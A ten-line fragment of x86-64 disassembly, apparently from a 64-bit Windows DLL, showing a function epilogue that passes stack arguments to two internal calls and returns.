mov r8d, dword [rsp + 0x70]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x28]
call fcn.18002371c
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
lea rcx, [0x180023634]
call fcn.180022488
add rsp, 0x58
ret